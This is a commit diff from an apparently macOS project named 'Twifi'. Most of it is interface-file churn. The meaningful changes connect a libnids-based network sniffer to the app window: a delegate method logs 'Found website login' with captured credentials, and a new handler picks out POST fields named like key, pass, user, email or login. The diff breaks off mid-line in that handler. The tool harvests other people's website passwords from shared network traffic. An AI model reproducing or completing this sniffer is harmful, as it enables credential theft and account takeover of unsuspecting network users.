Commits

Erik Romijn committed 71372a0

integration with frontend for logins

  • Participants
  • Parent commits 4b097c4

Comments (0)

Files changed (7)

File Twifi.xcodeproj/xcuserdata/erik.xcuserdatad/xcdebugger/Breakpoints.xcbkptlist

 <Bucket
    type = "1"
    version = "1.0">
-   <FileBreakpoints>
-      <FileBreakpoint
-         shouldBeEnabled = "Yes"
-         ignoreCount = "0"
-         continueAfterRunningActions = "No"
-         filePath = "Twifi/TWSniffer.m"
-         timestampString = "376072306.867881"
-         startingColumnNumber = "9223372036854775807"
-         endingColumnNumber = "9223372036854775807"
-         startingLineNumber = "82"
-         endingLineNumber = "82"
-         landmarkName = "-handleStream:"
-         landmarkType = "5">
-      </FileBreakpoint>
-      <FileBreakpoint
-         shouldBeEnabled = "No"
-         ignoreCount = "0"
-         continueAfterRunningActions = "No"
-         filePath = "Twifi/TWSniffer.m"
-         timestampString = "376072306.867881"
-         startingColumnNumber = "9223372036854775807"
-         endingColumnNumber = "9223372036854775807"
-         startingLineNumber = "110"
-         endingLineNumber = "110"
-         landmarkName = "-parseResponse:"
-         landmarkType = "5">
-      </FileBreakpoint>
-   </FileBreakpoints>
    <ExceptionBreakpoints>
       <ExceptionBreakpoint
          shouldBeEnabled = "Yes"

File Twifi/MainMenu.xib

 					<reference key="NSNextResponder"/>
 					<int key="NSvFlags">256</int>
 					<array class="NSMutableArray" key="NSSubviews">
-						<object class="NSSecureTextField" id="639210248">
+						<object class="NSSecureTextField" id="512731465">
 							<reference key="NSNextResponder" ref="439893737"/>
 							<int key="NSvFlags">268</int>
 							<string key="NSFrame">{{86, 289}, {96, 22}}</string>
 							<reference key="NSSuperview" ref="439893737"/>
-							<reference key="NSWindow"/>
-							<reference key="NSNextKeyView" ref="989301914"/>
+							<reference key="NSNextKeyView" ref="249689495"/>
 							<string key="NSReuseIdentifierKey">_NS:9</string>
 							<bool key="NSEnabled">YES</bool>
-							<object class="NSSecureTextFieldCell" key="NSCell" id="435624621">
+							<object class="NSSecureTextFieldCell" key="NSCell" id="350200495">
 								<int key="NSCellFlags">342884416</int>
 								<int key="NSCellFlags2">272630848</int>
 								<string key="NSContents"/>
-								<object class="NSFont" key="NSSupport" id="385099405">
+								<object class="NSFont" key="NSSupport" id="199454256">
 									<string key="NSName">LucidaGrande</string>
 									<double key="NSSize">13</double>
 									<int key="NSfFlags">1044</int>
 								</object>
 								<string key="NSCellIdentifier">_NS:9</string>
-								<reference key="NSControlView" ref="639210248"/>
+								<reference key="NSControlView" ref="512731465"/>
 								<bool key="NSDrawsBackground">YES</bool>
-								<object class="NSColor" key="NSBackgroundColor" id="370559627">
+								<object class="NSColor" key="NSBackgroundColor" id="235918829">
 									<int key="NSColorSpace">6</int>
 									<string key="NSCatalogName">System</string>
 									<string key="NSColorName">textBackgroundColor</string>
-									<object class="NSColor" key="NSColor" id="448670047">
+									<object class="NSColor" key="NSColor" id="1101162">
 										<int key="NSColorSpace">3</int>
 										<bytes key="NSWhite">MQA</bytes>
 									</object>
 								</object>
-								<object class="NSColor" key="NSTextColor" id="818108307">
+								<object class="NSColor" key="NSTextColor" id="910772249">
 									<int key="NSColorSpace">6</int>
 									<string key="NSCatalogName">System</string>
 									<string key="NSColorName">textColor</string>
-									<object class="NSColor" key="NSColor" id="764674561">
+									<object class="NSColor" key="NSColor" id="244838050">
 										<int key="NSColorSpace">3</int>
 										<bytes key="NSWhite">MAA</bytes>
 									</object>
 							</object>
 							<bool key="NSAllowsLogicalLayoutDirection">NO</bool>
 						</object>
-						<object class="NSTextField" id="215696105">
+						<object class="NSTextField" id="38830122">
 							<reference key="NSNextResponder" ref="439893737"/>
 							<int key="NSvFlags">268</int>
 							<string key="NSFrame">{{86, 327}, {96, 22}}</string>
 							<reference key="NSSuperview" ref="439893737"/>
-							<reference key="NSWindow"/>
-							<reference key="NSNextKeyView" ref="639210248"/>
+							<reference key="NSNextKeyView" ref="512731465"/>
 							<string key="NSReuseIdentifierKey">_NS:9</string>
 							<bool key="NSEnabled">YES</bool>
-							<object class="NSTextFieldCell" key="NSCell" id="694756706">
+							<object class="NSTextFieldCell" key="NSCell" id="693726720">
 								<int key="NSCellFlags">-1804599231</int>
 								<int key="NSCellFlags2">272630784</int>
 								<string key="NSContents"/>
-								<reference key="NSSupport" ref="385099405"/>
+								<reference key="NSSupport" ref="199454256"/>
 								<string key="NSCellIdentifier">_NS:9</string>
-								<reference key="NSControlView" ref="215696105"/>
+								<reference key="NSControlView" ref="38830122"/>
 								<bool key="NSDrawsBackground">YES</bool>
-								<reference key="NSBackgroundColor" ref="370559627"/>
-								<reference key="NSTextColor" ref="818108307"/>
+								<reference key="NSBackgroundColor" ref="235918829"/>
+								<reference key="NSTextColor" ref="910772249"/>
 							</object>
 							<bool key="NSAllowsLogicalLayoutDirection">NO</bool>
 						</object>
-						<object class="NSButton" id="989301914">
+						<object class="NSButton" id="249689495">
 							<reference key="NSNextResponder" ref="439893737"/>
 							<int key="NSvFlags">268</int>
 							<string key="NSFrame">{{118, 234}, {70, 32}}</string>
 							<reference key="NSSuperview" ref="439893737"/>
-							<reference key="NSWindow"/>
 							<string key="NSReuseIdentifierKey">_NS:9</string>
 							<bool key="NSEnabled">YES</bool>
-							<object class="NSButtonCell" key="NSCell" id="10630972">
+							<object class="NSButtonCell" key="NSCell" id="1058700262">
 								<int key="NSCellFlags">67108864</int>
 								<int key="NSCellFlags2">134217728</int>
 								<string key="NSContents">Start</string>
-								<reference key="NSSupport" ref="385099405"/>
+								<reference key="NSSupport" ref="199454256"/>
 								<string key="NSCellIdentifier">_NS:9</string>
-								<reference key="NSControlView" ref="989301914"/>
+								<reference key="NSControlView" ref="249689495"/>
 								<int key="NSButtonFlags">-2038284288</int>
 								<int key="NSButtonFlags2">129</int>
 								<string key="NSAlternateContents"/>
 							</object>
 							<bool key="NSAllowsLogicalLayoutDirection">NO</bool>
 						</object>
-						<object class="NSScrollView" id="439360792">
+						<object class="NSScrollView" id="825784766">
 							<reference key="NSNextResponder" ref="439893737"/>
 							<int key="NSvFlags">256</int>
 							<array class="NSMutableArray" key="NSSubviews">
-								<object class="NSClipView" id="450090552">
-									<reference key="NSNextResponder" ref="439360792"/>
+								<object class="NSClipView" id="275135454">
+									<reference key="NSNextResponder" ref="825784766"/>
 									<int key="NSvFlags">2304</int>
 									<array class="NSMutableArray" key="NSSubviews">
-										<object class="NSTextView" id="891510629">
-											<reference key="NSNextResponder" ref="450090552"/>
+										<object class="NSTextView" id="298555668">
+											<reference key="NSNextResponder" ref="275135454"/>
 											<int key="NSvFlags">2322</int>
-											<set class="NSMutableSet" key="NSDragTypes">
-												<string>Apple HTML pasteboard type</string>
-												<string>Apple PDF pasteboard type</string>
-												<string>Apple PICT pasteboard type</string>
-												<string>Apple PNG pasteboard type</string>
-												<string>Apple URL pasteboard type</string>
-												<string>CorePasteboardFlavorType 0x6D6F6F76</string>
-												<string>NSColor pasteboard type</string>
-												<string>NSFilenamesPboardType</string>
-												<string>NSStringPboardType</string>
-												<string>NeXT Encapsulated PostScript v1.2 pasteboard type</string>
-												<string>NeXT RTFD pasteboard type</string>
-												<string>NeXT Rich Text Format v1.0 pasteboard type</string>
-												<string>NeXT TIFF v4.0 pasteboard type</string>
-												<string>NeXT font pasteboard type</string>
-												<string>NeXT ruler pasteboard type</string>
-												<string>WebURLsWithTitlesPboardType</string>
-												<string>public.url</string>
-											</set>
 											<string key="NSFrameSize">{438, 156}</string>
-											<reference key="NSSuperview" ref="450090552"/>
-											<reference key="NSWindow"/>
-											<reference key="NSNextKeyView" ref="277732584"/>
+											<reference key="NSSuperview" ref="275135454"/>
+											<reference key="NSNextKeyView" ref="714325600"/>
 											<string key="NSReuseIdentifierKey">_NS:13</string>
-											<object class="NSTextContainer" key="NSTextContainer" id="112939283">
+											<object class="NSTextContainer" key="NSTextContainer" id="549626559">
 												<object class="NSLayoutManager" key="NSLayoutManager">
 													<object class="NSTextStorage" key="NSTextStorage">
 														<object class="NSMutableString" key="NSString">
-															<characters key="NS.bytes">Log</characters>
+															<characters key="NS.bytes"/>
 														</object>
-														<dictionary key="NSAttributes">
-															<object class="NSFont" key="NSFont">
-																<string key="NSName">Helvetica</string>
-																<double key="NSSize">12</double>
-																<int key="NSfFlags">16</int>
-															</object>
-															<object class="NSParagraphStyle" key="NSParagraphStyle">
-																<int key="NSAlignment">4</int>
-																<nil key="NSTabStops"/>
-															</object>
-														</dictionary>
 														<nil key="NSDelegate"/>
 													</object>
 													<array class="NSMutableArray" key="NSTextContainers">
-														<reference ref="112939283"/>
+														<reference ref="549626559"/>
 													</array>
 													<int key="NSLMFlags">166</int>
 													<nil key="NSDelegate"/>
 												</object>
-												<reference key="NSTextView" ref="891510629"/>
+												<reference key="NSTextView" ref="298555668"/>
 												<double key="NSWidth">438</double>
 												<int key="NSTCFlags">1</int>
 											</object>
 												<int key="NSFlags">12263</int>
 												<int key="NSTextCheckingTypes">0</int>
 												<nil key="NSMarkedAttributes"/>
-												<reference key="NSBackgroundColor" ref="448670047"/>
+												<reference key="NSBackgroundColor" ref="1101162"/>
 												<dictionary key="NSSelectedAttributes">
 													<object class="NSColor" key="NSBackgroundColor">
 														<int key="NSColorSpace">6</int>
 														<int key="NSColorSpace">6</int>
 														<string key="NSCatalogName">System</string>
 														<string key="NSColorName">selectedTextColor</string>
-														<reference key="NSColor" ref="764674561"/>
+														<reference key="NSColor" ref="244838050"/>
 													</object>
 												</dictionary>
-												<reference key="NSInsertionColor" ref="764674561"/>
+												<reference key="NSInsertionColor" ref="244838050"/>
 												<dictionary key="NSLinkAttributes">
 													<object class="NSColor" key="NSColor">
 														<int key="NSColorSpace">1</int>
 										</object>
 									</array>
 									<string key="NSFrame">{{1, 1}, {438, 156}}</string>
-									<reference key="NSSuperview" ref="439360792"/>
-									<reference key="NSWindow"/>
-									<reference key="NSNextKeyView" ref="891510629"/>
+									<reference key="NSSuperview" ref="825784766"/>
+									<reference key="NSNextKeyView" ref="298555668"/>
 									<string key="NSReuseIdentifierKey">_NS:11</string>
-									<reference key="NSDocView" ref="891510629"/>
-									<reference key="NSBGColor" ref="448670047"/>
+									<reference key="NSDocView" ref="298555668"/>
+									<reference key="NSBGColor" ref="1101162"/>
 									<object class="NSCursor" key="NSCursor">
 										<string key="NSHotSpot">{4, 5}</string>
 										<object class="NSImage" key="NSImage">
 									</object>
 									<int key="NScvFlags">4</int>
 								</object>
-								<object class="NSScroller" id="873537355">
-									<reference key="NSNextResponder" ref="439360792"/>
+								<object class="NSScroller" id="811442546">
+									<reference key="NSNextResponder" ref="825784766"/>
 									<int key="NSvFlags">256</int>
 									<string key="NSFrame">{{423, 1}, {16, 156}}</string>
-									<reference key="NSSuperview" ref="439360792"/>
-									<reference key="NSWindow"/>
+									<reference key="NSSuperview" ref="825784766"/>
 									<string key="NSReuseIdentifierKey">_NS:83</string>
 									<bool key="NSAllowsLogicalLayoutDirection">NO</bool>
-									<reference key="NSTarget" ref="439360792"/>
+									<reference key="NSTarget" ref="825784766"/>
 									<string key="NSAction">_doScroller:</string>
 									<double key="NSCurValue">1</double>
 									<double key="NSPercent">0.85256409645080566</double>
 								</object>
-								<object class="NSScroller" id="277732584">
-									<reference key="NSNextResponder" ref="439360792"/>
+								<object class="NSScroller" id="714325600">
+									<reference key="NSNextResponder" ref="825784766"/>
 									<int key="NSvFlags">-2147483392</int>
 									<string key="NSFrame">{{-100, -100}, {87, 18}}</string>
-									<reference key="NSSuperview" ref="439360792"/>
-									<reference key="NSWindow"/>
-									<reference key="NSNextKeyView" ref="450090552"/>
+									<reference key="NSSuperview" ref="825784766"/>
+									<reference key="NSNextKeyView" ref="275135454"/>
 									<string key="NSReuseIdentifierKey">_NS:33</string>
 									<bool key="NSAllowsLogicalLayoutDirection">NO</bool>
 									<int key="NSsFlags">1</int>
-									<reference key="NSTarget" ref="439360792"/>
+									<reference key="NSTarget" ref="825784766"/>
 									<string key="NSAction">_doScroller:</string>
 									<double key="NSCurValue">1</double>
 									<double key="NSPercent">0.94565218687057495</double>
 							</array>
 							<string key="NSFrame">{{20, 20}, {440, 158}}</string>
 							<reference key="NSSuperview" ref="439893737"/>
-							<reference key="NSWindow"/>
-							<reference key="NSNextKeyView" ref="450090552"/>
+							<reference key="NSNextKeyView" ref="275135454"/>
 							<string key="NSReuseIdentifierKey">_NS:9</string>
 							<int key="NSsFlags">133138</int>
-							<reference key="NSVScroller" ref="873537355"/>
-							<reference key="NSHScroller" ref="277732584"/>
-							<reference key="NSContentView" ref="450090552"/>
+							<reference key="NSVScroller" ref="811442546"/>
+							<reference key="NSHScroller" ref="714325600"/>
+							<reference key="NSContentView" ref="275135454"/>
 							<double key="NSMinMagnification">0.25</double>
 							<double key="NSMaxMagnification">4</double>
 							<double key="NSMagnification">1</double>
 					</array>
 					<string key="NSFrameSize">{480, 360}</string>
 					<reference key="NSSuperview"/>
-					<reference key="NSWindow"/>
-					<reference key="NSNextKeyView" ref="215696105"/>
+					<reference key="NSNextKeyView" ref="38830122"/>
 				</object>
 				<string key="NSScreenRect">{{0, 0}, {1440, 878}}</string>
 				<string key="NSMaxSize">{10000000000000, 10000000000000}</string>
 					<object class="IBActionConnection" key="connection">
 						<string key="label">start:</string>
 						<reference key="source" ref="976324537"/>
-						<reference key="destination" ref="989301914"/>
+						<reference key="destination" ref="249689495"/>
 					</object>
 					<int key="connectionID">568</int>
 				</object>
+				<object class="IBConnectionRecord">
+					<object class="IBOutletConnection" key="connection">
+						<string key="label">logOutput</string>
+						<reference key="source" ref="976324537"/>
+						<reference key="destination" ref="298555668"/>
+					</object>
+					<int key="connectionID">578</int>
+				</object>
 			</array>
 			<object class="IBMutableOrderedSet" key="objectRecords">
 				<array key="orderedObjects">
 						<int key="objectID">372</int>
 						<reference key="object" ref="439893737"/>
 						<array class="NSMutableArray" key="children">
-							<object class="IBNSLayoutConstraint" id="753678179">
+							<object class="IBNSLayoutConstraint" id="989153955">
 								<reference key="firstItem" ref="439893737"/>
 								<int key="firstAttribute">4</int>
 								<int key="relation">0</int>
-								<reference key="secondItem" ref="439360792"/>
+								<reference key="secondItem" ref="825784766"/>
 								<int key="secondAttribute">4</int>
 								<float key="multiplier">1</float>
 								<object class="IBNSLayoutSymbolicConstant" key="constant">
 								<float key="scoringTypeFloat">29</float>
 								<int key="contentType">3</int>
 							</object>
-							<object class="IBNSLayoutConstraint" id="1062326769">
+							<object class="IBNSLayoutConstraint" id="95667333">
 								<reference key="firstItem" ref="439893737"/>
 								<int key="firstAttribute">6</int>
 								<int key="relation">0</int>
-								<reference key="secondItem" ref="439360792"/>
+								<reference key="secondItem" ref="825784766"/>
 								<int key="secondAttribute">6</int>
 								<float key="multiplier">1</float>
 								<object class="IBNSLayoutSymbolicConstant" key="constant">
 								<float key="scoringTypeFloat">29</float>
 								<int key="contentType">3</int>
 							</object>
-							<object class="IBNSLayoutConstraint" id="489465665">
-								<reference key="firstItem" ref="439360792"/>
+							<object class="IBNSLayoutConstraint" id="873042775">
+								<reference key="firstItem" ref="825784766"/>
 								<int key="firstAttribute">5</int>
 								<int key="relation">0</int>
 								<reference key="secondItem" ref="439893737"/>
 								<float key="scoringTypeFloat">29</float>
 								<int key="contentType">3</int>
 							</object>
-							<object class="IBNSLayoutConstraint" id="1045113520">
-								<reference key="firstItem" ref="439360792"/>
+							<object class="IBNSLayoutConstraint" id="504456795">
+								<reference key="firstItem" ref="825784766"/>
 								<int key="firstAttribute">3</int>
 								<int key="relation">0</int>
 								<reference key="secondItem" ref="439893737"/>
 								<float key="scoringTypeFloat">9</float>
 								<int key="contentType">3</int>
 							</object>
-							<object class="IBNSLayoutConstraint" id="556964036">
-								<reference key="firstItem" ref="989301914"/>
+							<object class="IBNSLayoutConstraint" id="699802516">
+								<reference key="firstItem" ref="249689495"/>
 								<int key="firstAttribute">3</int>
 								<int key="relation">0</int>
 								<reference key="secondItem" ref="439893737"/>
 								<float key="scoringTypeFloat">9</float>
 								<int key="contentType">3</int>
 							</object>
-							<object class="IBNSLayoutConstraint" id="1057949410">
-								<reference key="firstItem" ref="989301914"/>
+							<object class="IBNSLayoutConstraint" id="465429716">
+								<reference key="firstItem" ref="249689495"/>
 								<int key="firstAttribute">6</int>
 								<int key="relation">0</int>
-								<reference key="secondItem" ref="639210248"/>
+								<reference key="secondItem" ref="512731465"/>
 								<int key="secondAttribute">6</int>
 								<float key="multiplier">1</float>
 								<object class="IBLayoutConstant" key="constant">
 								<float key="scoringTypeFloat">24</float>
 								<int key="contentType">2</int>
 							</object>
-							<object class="IBNSLayoutConstraint" id="165977182">
-								<reference key="firstItem" ref="639210248"/>
+							<object class="IBNSLayoutConstraint" id="593682503">
+								<reference key="firstItem" ref="512731465"/>
 								<int key="firstAttribute">3</int>
 								<int key="relation">0</int>
 								<reference key="secondItem" ref="439893737"/>
 								<float key="scoringTypeFloat">9</float>
 								<int key="contentType">3</int>
 							</object>
-							<object class="IBNSLayoutConstraint" id="316028263">
-								<reference key="firstItem" ref="215696105"/>
+							<object class="IBNSLayoutConstraint" id="517634327">
+								<reference key="firstItem" ref="38830122"/>
 								<int key="firstAttribute">5</int>
 								<int key="relation">0</int>
 								<reference key="secondItem" ref="439893737"/>
 								<float key="scoringTypeFloat">9</float>
 								<int key="contentType">3</int>
 							</object>
-							<object class="IBNSLayoutConstraint" id="997813019">
-								<reference key="firstItem" ref="215696105"/>
+							<object class="IBNSLayoutConstraint" id="686629906">
+								<reference key="firstItem" ref="38830122"/>
 								<int key="firstAttribute">6</int>
 								<int key="relation">0</int>
-								<reference key="secondItem" ref="639210248"/>
+								<reference key="secondItem" ref="512731465"/>
 								<int key="secondAttribute">6</int>
 								<float key="multiplier">1</float>
 								<object class="IBLayoutConstant" key="constant">
 								<float key="scoringTypeFloat">24</float>
 								<int key="contentType">2</int>
 							</object>
-							<object class="IBNSLayoutConstraint" id="1035891741">
-								<reference key="firstItem" ref="215696105"/>
+							<object class="IBNSLayoutConstraint" id="738109836">
+								<reference key="firstItem" ref="38830122"/>
 								<int key="firstAttribute">3</int>
 								<int key="relation">0</int>
 								<reference key="secondItem" ref="439893737"/>
 								<float key="scoringTypeFloat">9</float>
 								<int key="contentType">3</int>
 							</object>
-							<object class="IBNSLayoutConstraint" id="526561672">
-								<reference key="firstItem" ref="215696105"/>
+							<object class="IBNSLayoutConstraint" id="751927022">
+								<reference key="firstItem" ref="38830122"/>
 								<int key="firstAttribute">5</int>
 								<int key="relation">0</int>
-								<reference key="secondItem" ref="639210248"/>
+								<reference key="secondItem" ref="512731465"/>
 								<int key="secondAttribute">5</int>
 								<float key="multiplier">1</float>
 								<object class="IBLayoutConstant" key="constant">
 								<float key="scoringTypeFloat">24</float>
 								<int key="contentType">2</int>
 							</object>
-							<reference ref="215696105"/>
-							<reference ref="639210248"/>
-							<reference ref="989301914"/>
-							<reference ref="439360792"/>
+							<reference ref="38830122"/>
+							<reference ref="512731465"/>
+							<reference ref="249689495"/>
+							<reference ref="825784766"/>
 						</array>
 						<reference key="parent" ref="972006081"/>
 					</object>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">536</int>
-						<reference key="object" ref="639210248"/>
+						<reference key="object" ref="512731465"/>
 						<array class="NSMutableArray" key="children">
-							<reference ref="435624621"/>
+							<reference ref="350200495"/>
 						</array>
 						<reference key="parent" ref="439893737"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">537</int>
-						<reference key="object" ref="435624621"/>
-						<reference key="parent" ref="639210248"/>
+						<reference key="object" ref="350200495"/>
+						<reference key="parent" ref="512731465"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">541</int>
-						<reference key="object" ref="215696105"/>
+						<reference key="object" ref="38830122"/>
 						<array class="NSMutableArray" key="children">
-							<reference ref="694756706"/>
-							<object class="IBNSLayoutConstraint" id="24152289">
-								<reference key="firstItem" ref="215696105"/>
+							<reference ref="693726720"/>
+							<object class="IBNSLayoutConstraint" id="11902993">
+								<reference key="firstItem" ref="38830122"/>
 								<int key="firstAttribute">7</int>
 								<int key="relation">0</int>
 								<nil key="secondItem"/>
 									<double key="value">96</double>
 								</object>
 								<float key="priority">1000</float>
-								<reference key="containingView" ref="215696105"/>
+								<reference key="containingView" ref="38830122"/>
 								<int key="scoringType">3</int>
 								<float key="scoringTypeFloat">9</float>
 								<int key="contentType">1</int>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">542</int>
-						<reference key="object" ref="694756706"/>
-						<reference key="parent" ref="215696105"/>
+						<reference key="object" ref="693726720"/>
+						<reference key="parent" ref="38830122"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">543</int>
-						<reference key="object" ref="24152289"/>
-						<reference key="parent" ref="215696105"/>
+						<reference key="object" ref="11902993"/>
+						<reference key="parent" ref="38830122"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">547</int>
-						<reference key="object" ref="526561672"/>
+						<reference key="object" ref="751927022"/>
 						<reference key="parent" ref="439893737"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">548</int>
-						<reference key="object" ref="1035891741"/>
+						<reference key="object" ref="738109836"/>
 						<reference key="parent" ref="439893737"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">549</int>
-						<reference key="object" ref="997813019"/>
+						<reference key="object" ref="686629906"/>
 						<reference key="parent" ref="439893737"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">550</int>
-						<reference key="object" ref="316028263"/>
+						<reference key="object" ref="517634327"/>
 						<reference key="parent" ref="439893737"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">551</int>
-						<reference key="object" ref="165977182"/>
+						<reference key="object" ref="593682503"/>
 						<reference key="parent" ref="439893737"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">552</int>
-						<reference key="object" ref="989301914"/>
+						<reference key="object" ref="249689495"/>
 						<array class="NSMutableArray" key="children">
-							<reference ref="10630972"/>
+							<reference ref="1058700262"/>
 						</array>
 						<reference key="parent" ref="439893737"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">553</int>
-						<reference key="object" ref="10630972"/>
-						<reference key="parent" ref="989301914"/>
+						<reference key="object" ref="1058700262"/>
+						<reference key="parent" ref="249689495"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">556</int>
-						<reference key="object" ref="1057949410"/>
+						<reference key="object" ref="465429716"/>
 						<reference key="parent" ref="439893737"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">557</int>
-						<reference key="object" ref="556964036"/>
+						<reference key="object" ref="699802516"/>
 						<reference key="parent" ref="439893737"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">558</int>
-						<reference key="object" ref="439360792"/>
+						<reference key="object" ref="825784766"/>
 						<array class="NSMutableArray" key="children">
-							<reference ref="891510629"/>
-							<reference ref="277732584"/>
-							<reference ref="873537355"/>
+							<reference ref="298555668"/>
+							<reference ref="714325600"/>
+							<reference ref="811442546"/>
 						</array>
 						<reference key="parent" ref="439893737"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">559</int>
-						<reference key="object" ref="891510629"/>
-						<reference key="parent" ref="439360792"/>
+						<reference key="object" ref="298555668"/>
+						<reference key="parent" ref="825784766"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">560</int>
-						<reference key="object" ref="277732584"/>
-						<reference key="parent" ref="439360792"/>
+						<reference key="object" ref="714325600"/>
+						<reference key="parent" ref="825784766"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">561</int>
-						<reference key="object" ref="873537355"/>
-						<reference key="parent" ref="439360792"/>
+						<reference key="object" ref="811442546"/>
+						<reference key="parent" ref="825784766"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">562</int>
-						<reference key="object" ref="1045113520"/>
+						<reference key="object" ref="504456795"/>
 						<reference key="parent" ref="439893737"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">564</int>
-						<reference key="object" ref="489465665"/>
+						<reference key="object" ref="873042775"/>
 						<reference key="parent" ref="439893737"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">566</int>
-						<reference key="object" ref="1062326769"/>
+						<reference key="object" ref="95667333"/>
 						<reference key="parent" ref="439893737"/>
 					</object>
 					<object class="IBObjectRecord">
 						<int key="objectID">567</int>
-						<reference key="object" ref="753678179"/>
+						<reference key="object" ref="989153955"/>
 						<reference key="parent" ref="439893737"/>
 					</object>
 				</array>
 				<string key="371.IBWindowTemplateEditedContentRect">{{380, 496}, {480, 360}}</string>
 				<integer value="1" key="371.NSWindowTemplate.visibleAtLaunch"/>
 				<array class="NSMutableArray" key="372.IBNSViewMetadataConstraints">
-					<reference ref="526561672"/>
-					<reference ref="1035891741"/>
-					<reference ref="997813019"/>
-					<reference ref="316028263"/>
-					<reference ref="165977182"/>
-					<reference ref="1057949410"/>
-					<reference ref="556964036"/>
-					<reference ref="1045113520"/>
-					<reference ref="489465665"/>
-					<reference ref="1062326769"/>
-					<reference ref="753678179"/>
+					<reference ref="751927022"/>
+					<reference ref="738109836"/>
+					<reference ref="686629906"/>
+					<reference ref="517634327"/>
+					<reference ref="593682503"/>
+					<reference ref="465429716"/>
+					<reference ref="699802516"/>
+					<reference ref="504456795"/>
+					<reference ref="873042775"/>
+					<reference ref="95667333"/>
+					<reference ref="989153955"/>
 				</array>
 				<string key="372.IBPluginDependency">com.apple.InterfaceBuilder.CocoaPlugin</string>
 				<string key="420.IBPluginDependency">com.apple.InterfaceBuilder.CocoaPlugin</string>
 				<string key="536.IBPluginDependency">com.apple.InterfaceBuilder.CocoaPlugin</string>
 				<string key="537.IBPluginDependency">com.apple.InterfaceBuilder.CocoaPlugin</string>
 				<array key="541.IBNSViewMetadataConstraints">
-					<reference ref="24152289"/>
+					<reference ref="11902993"/>
 				</array>
 				<boolean value="NO" key="541.IBNSViewMetadataTranslatesAutoresizingMaskIntoConstraints"/>
 				<string key="541.IBPluginDependency">com.apple.InterfaceBuilder.CocoaPlugin</string>
 			<nil key="activeLocalization"/>
 			<dictionary class="NSMutableDictionary" key="localizations"/>
 			<nil key="sourceID"/>
-			<int key="maxID">568</int>
+			<int key="maxID">578</int>
 		</object>
-		<object class="IBClassDescriber" key="IBDocument.Classes">
-			<array class="NSMutableArray" key="referencedPartialClassDescriptions">
-				<object class="IBPartialClassDescription">
-					<string key="className">NSLayoutConstraint</string>
-					<string key="superclassName">NSObject</string>
-					<object class="IBClassDescriptionSource" key="sourceIdentifier">
-						<string key="majorKey">IBProjectSource</string>
-						<string key="minorKey">./Classes/NSLayoutConstraint.h</string>
-					</object>
-				</object>
-				<object class="IBPartialClassDescription">
-					<string key="className">TWAppDelegate</string>
-					<string key="superclassName">NSObject</string>
-					<object class="NSMutableDictionary" key="outlets">
-						<string key="NS.key.0">window</string>
-						<string key="NS.object.0">NSWindow</string>
-					</object>
-					<object class="NSMutableDictionary" key="toOneOutletInfosByName">
-						<string key="NS.key.0">window</string>
-						<object class="IBToOneOutletInfo" key="NS.object.0">
-							<string key="name">window</string>
-							<string key="candidateClassName">NSWindow</string>
-						</object>
-					</object>
-					<object class="IBClassDescriptionSource" key="sourceIdentifier">
-						<string key="majorKey">IBProjectSource</string>
-						<string key="minorKey">./Classes/TWAppDelegate.h</string>
-					</object>
-				</object>
-			</array>
-		</object>
+		<object class="IBClassDescriber" key="IBDocument.Classes"/>
 		<int key="IBDocument.localizationMode">0</int>
 		<string key="IBDocument.TargetRuntimeIdentifier">IBCocoaFramework</string>
 		<bool key="IBDocument.PluginDeclaredDependenciesTrackSystemTargetVersion">YES</bool>

File Twifi/TWAppDelegate.h

 #import <Cocoa/Cocoa.h>
 #import "TWSniffer.h"
 
-@interface TWAppDelegate : NSObject <NSApplicationDelegate>
+@interface TWAppDelegate : NSObject <NSApplicationDelegate, TWSnifferDelegate>
 
 @property (assign) IBOutlet NSWindow *window;
+@property (unsafe_unretained) IBOutlet NSTextView *logOutput;
 
 - (IBAction)start:(id)sender;
 @end

File Twifi/TWAppDelegate.m

 
 - (IBAction)start:(id)sender {
     TWSniffer *sniffer = [TWSniffer new];
+    sniffer.delegate = self;
     [sniffer do];
 }
+
+- (void)foundAuthentication:(NSDictionary *)auth onUrl:(NSString *)url
+{
+    NSString *plainText = [NSString stringWithFormat:@"Found website login: http://%@ - %@", url, auth];
+    NSAttributedString *text = [[NSAttributedString alloc] initWithString:plainText];
+
+    NSTextStorage *storage = [self.logOutput textStorage];
+    [storage beginEditing];
+    [storage appendAttributedString:text];
+    [storage endEditing];
+}
+
+
 @end

File Twifi/TWSniffer.h

 #include <stdio.h>
 #include "nids.h"
 
+@protocol TWSnifferDelegate;
+
 @interface TWSniffer : NSObject
 
 @property(strong, nonatomic) NSMutableDictionary *sessionData;
+@property(strong, nonatomic) id<TWSnifferDelegate> delegate;
 - (void)do;
 @end
 
+@protocol TWSnifferDelegate <NSObject>
+- (void)foundAuthentication:(NSDictionary *)auth onUrl:(NSString *)url;
+@end
+
 
 @interface TWRequestData : NSObject
 @property(strong, nonatomic) NSString *type;

File Twifi/TWSniffer.m

 }
 
 
+- (void)handleRequestData:(TWRequestData *)requestData
+{
+    if ([requestData.type isEqualToString:@"POST"]) {
+        NSMutableDictionary *auth = [[NSMutableDictionary alloc] initWithCapacity:5];
+
+        NSEnumerator *enumerator = [requestData.postData keyEnumerator];
+        NSString *key;
+        while ((key = [enumerator nextObject])) {
+            if ([[key lowercaseString] containsString:@"key"] || [[key lowercaseString] containsString:@"pass"] || [[key lowercaseString] containsString:@"user"] || [[key lowercaseString] containsString:@"email"] || [[key lowercaseString] containsString:@"login"]) {
